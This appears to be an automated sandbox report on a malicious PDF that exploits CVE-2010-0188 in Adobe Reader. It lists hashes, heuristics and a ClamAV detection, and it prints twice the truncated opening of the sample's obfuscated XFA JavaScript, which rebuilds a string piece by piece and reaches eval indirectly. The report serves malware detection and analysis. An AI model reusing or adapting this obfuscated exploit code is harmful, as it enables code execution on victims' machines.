PDF malware analysis — malicious · 07a3c040555e0362

MALICIOUS

PDF

51.4 KB

MD5: b0e4984916b598192dea9fb6278d8d3c SHA-1: c563d415cf6884ca42e8bcda81bf945e7d9822a7 SHA-256: 07a3c040555e0362ebb241305c9793fbef0e2445113cd3fd057afb3df7309140

168 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF sample contains embedded XFA content and triggers the CVE-2010-0188 exploit, indicating it's designed to execute arbitrary code. The embedded JavaScript, while obfuscated, is part of the exploit chain. The ML classifier and ClamAV detection strongly support its malicious nature.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 5

Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188

PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
ClamAV: Pdf.Exploit.Agent-6136306-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-6136306-0
XFA form low PDF_XFA

PDF uses XML Forms Architecture — can contain script logic
Embedded script payload in PDF stream low PDF_EMBEDDED_SCRIPT_PAYLOAD

PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ns.adobe.com/xdp/ In PDF document text
- http://www.xfa.org/schema/xfa-template/2.5/In PDF document text
- http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

embedded_pdf_script_00000240.bin
b13b762f16a3c593273758bb2e8e6128f63022c3830b487fa9703767768ca835 pdf-embedded-script PDF raw stream script payload at offset 0x240 51867 bytes

Filename	Kind	Source	Size
`embedded_pdf_script_00000240.bin` `b13b762f16a3c593273758bb2e8e6128f63022c3830b487fa9703767768ca835`	pdf-embedded-script	PDF raw stream script payload at offset 0x240	51867 bytes
Preview script First 1,000 lines of the extracted script <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <config><present> <pdf><interactive>1</interactive> <version test2='asd'> 1.6</version> <asd/> </pdf> </present></config><template xmlns='http://www.xfa.org/schema/xfa-template/2.5/'> <subform name="wqt3232t"><asd/> <subform name="v236536b346"> <field qwe="213123" name="qwe123" nam="123"><event asd='wqr' activity='initialize' fwq='2412'> <script contentTyp='application' contentType='application/x-javascript'> e=((('google')))['toUpperCase']; c= 'var _l1="4c206f5783eb9d;pnwAy()utio{.VsSg\',h<+I}*/DkR%x-W[]mCj^?:LBKQYEUqFM'; l='l'; e=e()[((2+3)?'e'+'v':"")+'a'+l]; s=[]; try{this.info.ebwg.erbgera.bgser=123}catch(wqtr23v23) { v=function(){return 0;}(); a='push'; s[a](c[v+0]);s[a](c[v+1]);s[a](c[v+2]);s[a](c[v+3]);s[a](c[v+4]);s[a](c[v+5]);s[a](c[v+6]);s[a](c[v+7]);s[a](c[v+8]);s[a](c[v+9]);s[a](c[v+10]);s[a](c[v+11]);s[a](c[v+12]);s[a](c[v+13]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+14]);s[a](c[v+12]);s[a](c[v+15]);s[a](c[v+6]);s[a](c[v+16]);s[a](c[v+17]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+18]);s[a](c[v+10]);s[a](c[v+11]);s[a](c[v+12]);s[a](c[v+13]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+14]);s[a](c[v+12]);s[a](c[v+14]);s[a](c[v+13]);s[a](c[v+18]);s[a](c[v+17]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+1]);s[a](c[v+18]);s[a](c[v+19]);s[a](c[v+20]);s[a](c[v+17]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+18]);s[a](c[v+12]);s[a](c[v+11]);s[a](c[v+12]);s[a](c[v+17]);s[a](c[v+11]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+13]);s[a](c[v+19]);s[a](c[v+11]);s[a](c[v+14]);s[a](c[v+17]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+11]);s[a](c[v+13]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+6]);s[a](c[v+11]);s[a](c[v+18]);s[a](c[v+21]);s[a](c[v+17]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+13]);s[a](c[v+9]);s[a](c[v+11]);s[a](c[v+12]);s[a](c[v+13]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+14]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+13]);s[a](c[v+13]);s[a](c[v+17]);s[a](c[v+18]);s[a](c[v+19]);s[a](c[v+9]);s[a](c[v+14]);s[a](c[v+10]);s[a](c[v+14]);s[a](c[v+10]);s[a](c[v+17]);s[a](c[v+15]);s[a](c[v+19]);s[a](c[v+9]);s[a](c[v+16]);s[a](c[v+15]);s[a](c[v+18]);s[a](c[v+9]);s[a](c[v+19]);s[a](c[v+21]);s[a](c[v+15]);s[a](c[v+14]);s[a](c[v+18]);s[a](c[v+18]);s[a](c[v+10]);s[a](c[v+12]);s[a](c[v+13]);s[a](c[v+9]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+9]);s[a](c[v+12]);s[a](c[v+18]);s[a](c[v+12]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+9]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+10]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+16]);s[a](c[v+12]);s[a](c[v+6]);s[a](c[v+10]);s[a](c[v+15]);s[a](c[v+13]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+16]);s[a](c[v+13]);s[a](c[v+12]);s[a](c[v+17]);s[a](c[v+18]);s[a](c[v+18]);s[a](c[v+22]);s[a](c[v+20]);s[a](c[v+13]);s[a](c[v+13]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+15]);s[a](c[v+19]);s[a](c[v+18]);s[a](c[v+10]);s[a](c[v+12]);s[a](c[v+18]);s[a](c[v+16]);s[a](c[v+9]);s[a](c[v+18]);s[a](c[v+18]);s[a](c[v+11]);s[a](c[v+10]);s[a](c[v+17]);s[a](c[v+6]);s[a](c[v+19]);s[a](c[v+19]);s[a](c[v+6]);s[a](c[v+15]);s[a](c[v+6]);s[a](c[v+12]);s[a](c[v+14]);s[a](c[v+14]);s[a](c[v+14]);s[a](c[v+14]);s[a](c[v+20]);s[a](c[v+17]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+9]);s[a](c[v+12]);s[a](c[v+18]);s[a](c[v+12]);s[a](c[v+10]);s[a](c[v+18]);s[a](c[v+9]);s[a](c[v+13 ... (truncated)

Preview script

First 1,000 lines of the extracted script

<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">


<config><present>
<pdf><interactive>1</interactive>
<version test2='asd'>
1.6</version>
<asd/>
</pdf>
</present></config><template xmlns='http://www.xfa.org/schema/xfa-template/2.5/'>
<subform 
name="wqt3232t"><asd/>
		<subform name="v236536b346">
		<field qwe="213123" name="qwe123" nam="123"><event asd='wqr' activity='initialize' fwq='2412'>
<script contentTyp='application'
contentType='application/x-javascript'>

e=((('google')))['&#116;oUpperCase'];
c=
'var _l1="4c206f5783eb9d;pnwAy()utio{.VsSg\',h&lt;+I}*/DkR%x-W[]mCj^?:LBKQYEUqFM';
l='l';
e=e()[((2+3)?'e'+'v':"")+'a'+l];
s=[];
try{this.info.ebwg.erbgera.bgser=123}catch(wqtr23v23)
&#123;
v=function(){return 0;}();
a='push';
s[a](c[v+0]);s[a](c[v+1]);s[a](c[v+2]);s[a](c[v+3]);s[a](c[v+4]);s[a](c[v+5]);s[a](c[v+6]);s[a](c[v+7]);s[a](c[v+8]);s[a](c[v+9]);s[a](c[v+10]);s[a](c[v+11]);s[a](c[v+12]);s[a](c[v+13]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+14]);s[a](c[v+12]);s[a](c[v+15]);s[a](c[v+6]);s[a](c[v+16]);s[a](c[v+17]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+18]);s[a](c[v+10]);s[a](c[v+11]);s[a](c[v+12]);s[a](c[v+13]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+14]);s[a](c[v+12]);s[a](c[v+14]);s[a](c[v+13]);s[a](c[v+18]);s[a](c[v+17]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+1]);s[a](c[v+18]);s[a](c[v+19]);s[a](c[v+20]);s[a](c[v+17]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+18]);s[a](c[v+12]);s[a](c[v+11]);s[a](c[v+12]);s[a](c[v+17]);s[a](c[v+11]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+13]);s[a](c[v+19]);s[a](c[v+11]);s[a](c[v+14]);s[a](c[v+17]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+11]);s[a](c[v+13]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+6]);s[a](c[v+11]);s[a](c[v+18]);s[a](c[v+21]);s[a](c[v+17]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+1]);s[a](c[v+13]);s[a](c[v+9]);s[a](c[v+11]);s[a](c[v+12]);s[a](c[v+13]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+14]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+9]);s[a](c[v+6]);s[a](c[v+13]);s[a](c[v+13]);s[a](c[v+17]);s[a](c[v+18]);s[a](c[v+19]);s[a](c[v+9]);s[a](c[v+14]);s[a](c[v+10]);s[a](c[v+14]);s[a](c[v+10]);s[a](c[v+17]);s[a](c[v+15]);s[a](c[v+19]);s[a](c[v+9]);s[a](c[v+16]);s[a](c[v+15]);s[a](c[v+18]);s[a](c[v+9]);s[a](c[v+19]);s[a](c[v+21]);s[a](c[v+15]);s[a](c[v+14]);s[a](c[v+18]);s[a](c[v+18]);s[a](c[v+10]);s[a](c[v+12]);s[a](c[v+13]);s[a](c[v+9]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+9]);s[a](c[v+12]);s[a](c[v+18]);s[a](c[v+12]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+9]);s[a](c[v+12]);s[a](c[v+12]);s[a](c[v+10]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+16]);s[a](c[v+12]);s[a](c[v+6]);s[a](c[v+10]);s[a](c[v+15]);s[a](c[v+13]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+16]);s[a](c[v+13]);s[a](c[v+12]);s[a](c[v+17]);s[a](c[v+18]);s[a](c[v+18]);s[a](c[v+22]);s[a](c[v+20]);s[a](c[v+13]);s[a](c[v+13]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+15]);s[a](c[v+19]);s[a](c[v+18]);s[a](c[v+10]);s[a](c[v+12]);s[a](c[v+18]);s[a](c[v+16]);s[a](c[v+9]);s[a](c[v+18]);s[a](c[v+18]);s[a](c[v+11]);s[a](c[v+10]);s[a](c[v+17]);s[a](c[v+6]);s[a](c[v+19]);s[a](c[v+19]);s[a](c[v+6]);s[a](c[v+15]);s[a](c[v+6]);s[a](c[v+12]);s[a](c[v+14]);s[a](c[v+14]);s[a](c[v+14]);s[a](c[v+14]);s[a](c[v+20]);s[a](c[v+17]);s[a](c[v+17]);s[a](c[v+20]);s[a](c[v+9]);s[a](c[v+12]);s[a](c[v+18]);s[a](c[v+12]);s[a](c[v+10]);s[a](c[v+18]);s[a](c[v+9]);s[a](c[v+13
... (truncated)

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